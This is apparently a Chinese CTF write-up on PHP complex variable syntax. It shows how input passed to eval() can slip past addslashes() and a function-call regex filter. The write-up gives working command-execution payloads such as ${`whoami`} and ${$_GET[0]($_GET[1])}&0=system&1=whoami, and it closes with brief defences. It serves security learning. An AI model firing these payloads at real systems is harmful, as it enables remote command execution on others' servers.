从一道题讲PHP复杂变量
字数 1131 2025-08-26 22:11:35
PHP复杂变量解析与绕过技巧详解
1. 问题背景
题目给出的PHP代码如下:
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
if (preg_match('/[A-Za-z0-9]+\(/i', $str) == 1){
die('hack');
}
eval('$a="' . $str . '";');
?>
这道题目展示了几个关键限制:
- 使用
addslashes()对输入进行转义 - 正则表达式
/[A-Za-z0-9]+\(/i阻止直接调用函数 - 通过
eval执行拼接的字符串
2. PHP复杂变量基础
PHP复杂变量语法允许在字符串中使用复杂的表达式来解析变量。
基本语法
$great = 'fantastic';
// 无效,输出: This is { fantastic}
echo "This is { $great }";
// 有效,输出: This is fantastic
echo "This is {$great}";
echo "This is ${great}";
重要特性
- 任何具有string表达的标量变量、数组单元或对象属性都可使用此语法
- 只有
$紧挨着{时才会被识别 - 可以使用
{\$来表达{$
3. 复杂变量的高级用法
函数调用作为变量名
PHP允许使用函数的返回值作为变量名:
${phpinfo()} = 'test';
执行过程:
- 先执行
phpinfo()函数 - 将返回值作为变量名
- 对变量进行赋值
实际示例
${system('whoami')} = 'test';
执行过程:
- 执行
system('whoami')命令 - 将命令输出作为变量名
- 对变量进行赋值
4. 题目解法分析
4.1 无防护情况
最简单的情况:
<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
eval('$a="' . $str . '";');
?>
解法:直接闭合双引号并执行命令
str=";phpinfo();//
4.2 添加addslashes防护
<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
?>
解法:使用复杂变量语法绕过
str=${phpinfo()}
4.3 添加正则过滤
原题的正则/[A-Za-z0-9]+\(/i会阻止类似function()的调用。
解法思路:
- 使用非字母数字字符调用函数
- 利用字符串拼接和可变函数特性
方法一:使用反引号命令执行(需开启Notice回显)
str=${`whoami`}
方法二:使用字符串拼接绕过
// 将函数名拆分为字符串拼接
$f = 'sys'.'tem';
$f('whoami');
对应的payload构造:
str=${"`$_GET[1]`"}&1=whoami
方法三:利用动态函数调用
str=${$_GET[0]($_GET[1])}&0=system&1=whoami
5. 技术原理深入
5.1 PHP变量命名规则
PHP变量名规则:
- 以
$开头 - 首字符为字母或下划线
- 后续字符可以是字母、数字或下划线
- 正则表达式:
[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*
5.2 复杂变量解析机制
当PHP遇到${}结构时:
- 先解析
{}内的表达式 - 将表达式结果作为变量名
- 如果表达式是函数调用,先执行函数
- 使用返回值作为变量名
5.3 安全绕过原理
- 绕过addslashes:复杂变量语法不需要闭合引号
- 绕过正则过滤:不使用直接函数调用形式
- 命令执行:利用函数返回值或反引号执行命令
6. 防御措施
- 避免使用
eval()函数 - 使用更严格的正则表达式过滤
- 禁用危险函数(如
system,exec等) - 使用
escapeshellarg()等函数处理命令参数
7. 扩展技巧
- 多重复杂变量:
${${"a"."b"}} = "test";
- 数组形式调用:
${array_shift(array("whoami"))} = "test";
- 类静态方法调用:
${MyClass::myMethod()} = "test";
8. 总结
PHP复杂变量语法提供了强大的字符串解析能力,但也带来了潜在的安全风险。理解其工作原理对于安全开发和漏洞挖掘都至关重要。在实际开发中,应当谨慎处理用户输入,避免直接拼接执行代码。